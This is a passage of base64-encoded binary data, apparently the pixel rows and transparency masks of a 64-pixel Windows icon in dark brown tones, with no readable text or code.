LEVYSEEJ////Af///wH///8B////Af///wH///8B////AWVVTgVTQzwZRjYvcT8vKNM2Jh/7Nycg/zgo + If84KCH/OCgh/zcnIP82Jh//OSki/zgoIf84KCH/OSki/zkpIv84KCH/OCgh/ysZEv+Rh4P/hHhy/yoZ + Ev85KSL/OSki/zcnIP85KSH/eGtm/2RXUf83JyD/OSki/zkpIv83JyD/Nycg/zgoIf83JyD/NSUe+0Ex + Ks1LOzRpXk5HF19PSAP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVBA + OR1HNzBxNiYf2TQkHfk2Jh//OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/ywc + Ff97bGb/c2Rd/y4dFv84KCH/OSki/zkpIv84KCH/KBgQ/y0dFf85KSH/OSki/zkpIv85KSL/Nycg/zQk + Hfk1JR7XUEA5aV5ORxn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzcDUEA5Q0AwKZk3JyDnNSUe/zgoIf85KSL/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OCgh/y8fGP9tXFX/Y1NM/zAgGf84KCH/OSki/zkpIv84KCH/OCki/zkpIv85KSL/OSki/zgo + If80JB3/OCgh4UExKpVURD09Xk5IA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BaFlSA1JCOxNXR0BPPS0myzUlHv02Jh//OCgh/zgo + If84KCH/OSki/zkpIv85KSL/OSki/zQkHf9WRj//Tj43/zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zcn + IP84KCH/Nycg/zUlHv1ENC3HRzcwRVZGPxN4aGED////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84EUQ0 + LWM9LSbHNCQd9zcnIP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIP84KCH/OSki/zko + Iv84KCH/Nycg/zcnIP82Jh/3OiojwUQ1Ll9ZSUIP////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVlJQgNtXVYrNycgjzYmH901JR77OCgh/zkpIv85KSL/OCgh/zkpIv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv83JyD/NCQd+zcnINdENC2LWUlCJf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BRTUuD0o6M0VCMiupNCQd+TQkHf84KCH/OCgh/zcn + IP84KCH/OCgh/zgoIf84KCH/OSki/zIiG/81JR73SDgxoT8vKT1TQzwP////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFdTUYFPy8oUT0t + JrU0JB3vNCQd/zcnIP84KCH/OCgh/zgoIf82Jh//NCQd7T4uJ7FHNzBNeWliA////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BXk1HA2hYUR8+LidtOSki0zQkHfs3JyD/Nycg/zUlHvs1JR7NPy8oaXNjXB1uXlYD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFVRT4HVEQ9NUExKpU2Jh/ZNycg2Uc3MJFIODExSDcxB/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//KAAAAEAAAACAAAAAAQAgAAAA + AAAAQgAAAAAAAAAAAAAAAAAAAAAAAP///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BRTUuJ0w8NX8+LifRQjIrzVFBOndgUEkf////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFuXlcRZ1dQazgoIeMxIRr/NSUe/zUlHv8vHxj/RTUu21xM + RV1WRj8H////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVxMRQdENC1LRDQtxTIiG/8yIhv/OSki/zkp + Iv84KCH/OCgh/zAgGf8xIRr5RTUutUg4MUd7a2QF////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AWdXUD1HNzCnOCgh8zIi + G/82Jh//Oioj/zkpIv85KSL/Nycg/zgoIf86KiP/OCgh/zQkHf83JyDvXExFm04+NzH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BY1NMI009 + NoNBMSrjMCAZ/zUlHv85KSL/Oioj/zkpIv86KiP/NSUe/zYmH/84KCH/OSki/zgoIf83JyD/MyMc/y8f + GP88LCXZTj43gXFhWiH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlcNa1tUaz8vKM8yIhv/MCAZ/zkpIv83JyD/OCgh/zkpIv85KSL/OCgh/0AwKf85KSL/Nycg/zcn + IP83JyD/Nycg/zgoIf83JyD/NCQd/zMjHP9GNi/LZlZPW08/OAX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AWJSSwNeTkdDQjIrvTQkHf8yIhv/Nycg/zoqI/85KSL/OSki/zgoIf85KSL/Oioj/zAg + Gf9gUEn/TT02/zEhGv85KSL/OCgh/zgoIf83JyD/OSki/zgoIf82Jh//MiIb/zEhGvtENC23aFhRPf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVJCOyNSQjuhOioj8zMjHP82Jh//OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OCgh/zkpIv8nFxD/f25n/3BgWf8pGRL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv83JyD/NCQd/zgoIfFZSUKXY1NMGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BdmZfF1FBOn04KCHhLx8Y/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf87KyT/IhIL/5KCe/+GdW7/IxMM/zoqI/85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv81JR7/LBwV/zkpItlhUUpxalpTD////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFLOzQLVkY/XUg4Mc0zIxz/NCQd/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oysk/x0MBf+glI7/l4iB/x8P + CP86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/zoqI/8zIxz/MyMc/z0t + Jr1ENC1JYFBJC////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AYBwaQVeTkc/RDQtqy0d + FvswIBn/Nycg/zkpIv84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkq + I/8bCQH/tq6r/6qdmP8ZCAH/Oysk/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgo + If85KSL/OSki/zYmH/8xIRr/NSUe+VFBOqFnV1A3QDApA////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhI + QSVdTUaJPCwl7zIiG/83JyD/Oioj/zkpIv85KSL/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf81Jh//JBIK/8zFwv+tpqT/FwUA/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zgoIf85KSL/Oioj/zYmH/8yIhv/PCwl6zsrJH1TQzwd////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8Bf29oFUk5MnE3JyDZLBwV/zMjHP85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/MCEa/y4cFP/h29j/vri2/yEPBv82JyD/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OSki/zIi + G/8yIhv/PS0m01ZGP21oWFEP////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BVEM8U0o6M8szIxz7MyMc/zcnIP86KiP/OCgh/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/ysbFP86Jx//7urn/9LL + x/8vHBP/MSEb/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv86KiP/OCgh/zIiG/83JyD5Pi4nvU8/OEv///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFcTEUvRzcwqTEhGvEwIBn/NiYf/zkpIv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8oFg//QzQu//Hw7//m39v/Oicf/y0dFf86KiT/OSki/zgoIf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NCQd/zIiG/84KCHvSTkyoUU1 + Lif///8B////Af///wH///8B////Af///wH///8B////AbKimweGdm9HMiIb3y8fGP82Jh//OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf83JyD/OCgh/zkpIv84KCH/Nycg/zUlHv80JBz/MiIb/zEh + Gv8vHhf/KxoT/ycXD/8pFxD/CgEA/1BDPv/29PP/8e/u/zkpJP8TAwH/KhkR/ywbFP8wHxj/MiEa/zQk + HP81JR3/NiYf/zgoIf85KSL/OCgi/zgoIf83JyD/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OCgh/y0dFv8/LyjVZlZPN1lKQwX///8B////Af///wH///8B////Af///wF/b2hZSzs0uyYW + D/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zMjHP8xIRr/LR0V/yYV + Df8kEQr/Lx4W/z4sJP9HNy//VUdA/2lcVv93aWP/gHFs/4R3cv+2qqT//Pv7//n49/+cjon/dWdi/3lt + aP9mWVP/UkQ+/0g3MP8+LCX/Lh0V/ycWD/8rGxP/Lh4Y/zEhGv80JB3/OCgh/zkpIv86KiP/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/Lh4X/zwsJbFWRj9H////Af///wH///8B////Af// + /wH///8BVUU+pT4uJ+sxIRr/OSki/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/zsrJP81JR7/LBsU/yQT + DP8lEwv/NCMb/1NDPf+Bcmz/nZOP/8K9uv/u5uT///38///////6+fj/8fDw/+zr6v/k4d//9PPz//// + /////v7/7uXi/+HZ1f/p4+D/597b/+ro5v/j29f/0cnE/7uyrv+qnpn/gHNs/1ZHQf8+LSb/KxsU/ygX + EP8rGxP/NCQd/zoqJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OSki/ysbFP9HNzDVcmJbgf// + /wH///8B////Af///wH///8B////AVBAOa0/LyjvMyMc/zgoIf84KCH/OSki/zkpIv86KiP/PCwl/zQk + Hv8lFAz/IxEJ/zclHf9rXFX/opiU/9zW0////////v////Du7f/d2Nb/xL+9/6edmf+LfHf/cGNd/1lL + RP9ENTL/LxoT/7yyrv////////7+/5+UkP8kEAj/RzUu/0o5M/9SQz7/Y1ZR/39zbf+ilpD/t6yn/8W8 + t//c0Mv/yr+8/6WZk/9sXVf/RTUv/ysbFP8lEwz/MyMc/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8sHBX/Rzcw3W5eV43///8B////Af///wH///8B////Af///wFTQzynPy8o6zEhGv84KCH/OCgh/zkp + Iv86KSL/Oysk/ygXEP8fDAT/RDIr/5OJhf/Z1NH///////z7+//Z1NL/r6ai/3ttZ/9LOzT/OSYe/yYV + DP8fDAX/IA4G/yIQCP8lEgr/EwIA/yQTDf/W0M3////////////EvLn/GwgA/x4PCP8nFxD/IhEJ/yIQ + Cf8hDwf/Hw0F/yAOB/83JR//Tz84/21fWP+cjoj/ua+q/8W8uP+Zjoj/WElC/ykZEv8jEQn/OCgh/zoq + I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR + Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex + Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + 